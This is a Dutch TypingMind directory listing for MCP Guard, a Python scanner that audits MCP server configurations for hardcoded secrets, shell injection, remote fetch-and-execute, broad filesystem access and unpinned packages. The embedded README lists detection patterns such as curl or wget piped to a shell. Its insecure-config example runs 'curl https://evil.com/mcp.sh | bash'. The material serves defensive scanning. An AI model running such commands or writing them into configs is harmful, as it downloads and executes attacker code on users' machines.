Logo van MCP Guard

MCP Guard

Community
flickzoz

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Uitgeverflickzoz
Repositorymcp-guard
TaalPython
Forks
79
Sterren
92
Beschikbare tools
0
Transporttypestdio
Categorieën
LicentieMIT
Links
  • Koppel tools aan AI-workflows

    MCP Guard biedt MCP-functionaliteit die compatibele AI-clients en agenten kunnen gebruiken.

  • 0 beschikbare tools

    Bekijk hieronder de aanroepbare acties, inclusief namen en beschrijvingen als de server die beschikbaar stelt.

  • Configuratie om direct te kopiëren

    Gebruik de installatievoorbeelden om deze server in je favoriete MCP-client te configureren.

  • Indicatoren van opensource-interesse

    92 sterren en 79 forks in de gekoppelde repository.

🛡️ mcp-guard

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Detect hardcoded secrets, shell injections, remote-code execution, over-privileged filesystems, and unpinned supply-chain risks across Claude Desktop, Claude Code, Cursor, and VS Code before they run.

CI PyPI version Python versions License: MIT Zero Dependencies


⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

  1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
  2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
  3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python's standard library (zero third-party dependencies).


🎯 5 Core Threat Detections

Rule IDThreat CategorySeverityWhat it detects
MCP-001Hardcoded SecretsCRITICALOpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in env or arguments.
MCP-002Shell InjectionHIGHServers invoked via bash -c, sh -c, cmd.exe /c, powershell -Command, or containing dangerous shell metacharacters (&&, ;, |).
MCP-003Remote Fetch & ExecuteCRITICALRemote execution pipelines like curl ... | sh, wget ... | bash, or Invoke-WebRequest ... | iex.
MCP-004Broad Filesystem ScopeHIGHServers granted unrestricted access to root paths (/, C:\), home directories (~, /home, Users), or whole drives.
MCP-005Unpinned DependenciesMEDIUM / LOWnpx, uvx, or pipx executing mutable @latest tags or packages without exact semantic version pins.

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

bash
pip install mcp-guard

Or run directly without installing using pipx / uvx:

bash
uvx mcp-guard
# or
pipx run mcp-guard

Usage

1. Auto-Scan All Installed Clients on Your System

Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically:

bash
mcp-guard

2. Scan a Specific File or Workspace

bash
mcp-guard ~/.claude/mcp.json
mcp-guard ./my-project/.vscode/mcp.json

3. Filter by Client

bash
mcp-guard --client claude-desktop
mcp-guard --client cursor

4. Structured JSON Output (for CI/CD or Scripting)

bash
mcp-guard --json

5. Enforce Security Threshold in CI/CD

Exit with status code 1 if any HIGH or CRITICAL issues are discovered:

bash
mcp-guard --fail-on high

6. List All Available Security Rules

bash
mcp-guard --list-rules

🖥️ Supported MCP Clients & Auto-Discovery

mcp-guard automatically locates configuration files across macOS, Linux, and Windows:

ClientStandard Config Location
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json%APPDATA%\Claude\claude_desktop_config.json~/.config/Claude/claude_desktop_config.json
Claude Code~/.claude.json~/.claude/mcp.json./.claude/mcp.json
Cursor~/.cursor/mcp.jsonglobalStorage/cursor.mcp/mcp.json./.cursor/mcp.json
Cline (VS Code)Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json
Roo Code (VS Code)Code/User/globalStorage/rooveterinaryinc.roo-cline/settings/cline_mcp_settings.json
Continue~/.continue/config.json
Windsurf~/.codeium/windsurf/mcp_config.json
Workspace Configs./.vscode/mcp.json, ./mcp.json

🔒 Remediation Guide

❌ Insecure Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "bash",
      "args": ["-c", "curl https://evil.com/mcp.sh | bash"],
      "env": {
        "OPENAI_API_KEY": "<REDACTED>"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"]
    }
  }
}

✅ Secure Remediated Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "node",
      "args": ["./dist/server.js"],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem@0.6.2",
        "/Users/username/projects/safe-folder"
      ]
    }
  }
}

🤖 CI/CD Integration

Add mcp-guard to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets:

yaml
name: MCP Security Audit

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  audit-mcp:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install mcp-guard
        run: pip install mcp-guard
      - name: Run MCP Security Scan
        run: mcp-guard --fail-on high .

🛠️ CLI Options

text
usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}]
                 [--client CLIENT] [--no-color] [-q] [--list-rules] [-v]
                 [paths ...]

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

positional arguments:
  paths                 Optional specific file or directory paths to scan.

options:
  -h, --help            show this help message and exit
  --json                Output results in structured JSON format.
  --fail-on {critical,high,medium,low,info}
                        Exit with non-zero status code if findings meet or exceed this severity level.
  --client CLIENT       Filter auto-discovery to a specific client.
  --no-color            Disable colored ANSI terminal output.
  -q, --quiet           Quiet mode: suppress header and scan progress.
  --list-rules          Print list of all security audit rules and exit.
  -v, --version         Show version information and exit.

🤝 Contributing

Contributions are welcome! See CONTRIBUTING.md for details on adding new rules and running tests.

bash
# Run test suite
pytest

# Lint with ruff
ruff check .

📄 License

MIT License © 2025 flickzoz

Installatie

TypingMind
{
  "mcpServers": {
    "mcp-guard": {
      "command": "mcp-guard",
      "args": []
    }
  }
}

Gebruik MCP Guard MCP met meerdere AI-modellen

TypingMind koppelt MCP-tools aan de werkruimte. Zodra MCP Guard is verbonden, kun je deze dus met verschillende AI-modellen in TypingMind gebruiken, zonder de verbinding voor elk model apart in te stellen. Deze MCP-integratie draait lokaal via de TypingMind MCP-connector op je apparaat.

Installatiehandleiding voor de lokale connector

Gebruik dit als de MCP-server toegang nodig heeft tot lokale bestanden, apps of privébronnen op je computer.

1

Open de MCP-instellingen

Ga in TypingMind naar Instellingen, Geavanceerde instellingen en vervolgens Model Context Protocol. Kies daar Connector instellen.

  1. Open TypingMind in je browser.
  2. Klik op het pictogram Instellingen.
  3. Ga naar Geavanceerde instellingen.
  4. Open het gedeelte Model Context Protocol.
  5. Klik op Connector instellen en kies Dit apparaat.
Instelscherm voor de TypingMind MCP-connector met Dit apparaat geselecteerd
2

Voer de connectoropdracht uit

Kies Dit apparaat, kopieer de opdracht uit TypingMind en voer deze uit in Terminal. Laat het proces draaien zolang je MCP gebruikt.

  1. Kopieer de installatieopdracht die TypingMind toont.
  2. Open Terminal op macOS of Windows Terminal op Windows.
  3. Plak de opdracht en voer deze uit.
  4. Keur de pakketinstallatie goed als Terminal vraagt of je wilt doorgaan.
  5. Laat het proces in het Terminal-venster draaien zolang je MCP-tools gebruikt.
3

Voeg MCP Guard toe als server

Klik op Servers bewerken zodra de connectorstatus Gereed is en plak de MCP-serverconfiguratie.

  1. Wacht tot de connectorstatus Gereed aangeeft.
  2. Klik op Servers bewerken.
  3. Plak de MCP-serverconfiguratie van MCP Guard.
  4. Sla de serverlijst op.
  5. Vernieuw om te controleren of de connector nog steeds klaar is voor gebruik.
MCP-instellingen van TypingMind met een actieve server en de knop Servers bewerken
{
  "mcpServers": {
    "mcp-guard": {
      "command": "npx",
      "args": [
        "-y",
        "<mcp-server-package>"
      ]
    }
  }
}
4

Gebruik de verbinding met verschillende modellen

Sla de serverlijst op, open Plug-ins en schakel de MCP-tools van MCP Guard in. Selecteer vervolgens een ondersteund AI-model in TypingMind en gebruik de tools in de chat of wijs ze toe aan een AI-agent.

  1. Open de pagina Plug-ins in TypingMind.
  2. Schakel de MCP-tools van MCP Guard in.
  3. Start een chat en kies het AI-model dat je wilt gebruiken.
  4. Gebruik de MCP-tools in een chat of wijs ze toe aan een AI-agent.
  5. Schakel wanneer nodig over naar een ander AI-model zonder opnieuw verbinding te maken met MCP.
TypingMind-chat met ingeschakelde MCP-tools en een geselecteerd AI-model
Kun je MCP Guard gebruiken om me hiermee te helpen?
MCP Guard
Zeker. Ik heb het gelezen.
Dit vond ik met MCP Guard.

Veelgestelde vragen

Waarvoor wordt de MCP-server MCP Guard gebruikt?

MCP Guard is een MCP-server waarmee compatibele AI-clients verbinding kunnen maken met externe tools en context. In TypingMind hoef je deze MCP-server maar één keer toe te voegen om de tools beschikbaar te maken in je AI-werkruimte.

Kan ik MCP Guard MCP met meerdere AI-modellen in TypingMind gebruiken?

Ja. TypingMind verbindt MCP-tools op werkruimteniveau. Daardoor kun je MCP Guard gebruiken met verschillende AI-modellen, zoals Claude, ChatGPT, Gemini of andere modellen die je in TypingMind hebt ingesteld, zonder de MCP-server voor elk model afzonderlijk in te stellen.

Waarom MCP Guard MCP gebruiken met TypingMind?

TypingMind is een van de beste interfaces voor chats met LLM's, omdat het meerdere AI-modellen, prompts, plug-ins, AI-agenten, API-sleutels en MCP-tools samenbrengt in één werkruimte. Als MCP Guard verbonden is, kun je de MCP-tools ervan gebruiken met je favoriete modellen en je chatworkflow overzichtelijk houden in TypingMind.

Hoe verbind ik MCP Guard MCP met TypingMind?

MCP Guard werkt via de lokale MCP-connector van TypingMind. Dit is de beste optie als de MCP-server toegang nodig heeft tot lokale bestanden, desktopapps, opdrachtregeltools of privébronnen op je computer.

Welke tools biedt MCP Guard MCP in TypingMind?

MCP Guard biedt MCP-functies die je kunt inschakelen via de pagina Plug-ins in TypingMind. Je kunt ze gebruiken in chats of toewijzen aan AI-agenten.

Moet ik mijn API-sleutels delen met TypingMind om MCP Guard MCP te gebruiken?

Nee. TypingMind werkt in de eerste plaats lokaal en laat je de controle houden over je modelaanbieders, API-sleutels, prompts en MCP-configuratie. Als MCP Guard authenticatie vereist, voeg je bij het maken van de verbinding de vereiste headers, OAuth-instellingen of lokale configuratie voor die MCP-server toe.

Gerelateerde MCP-servers

Toon alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇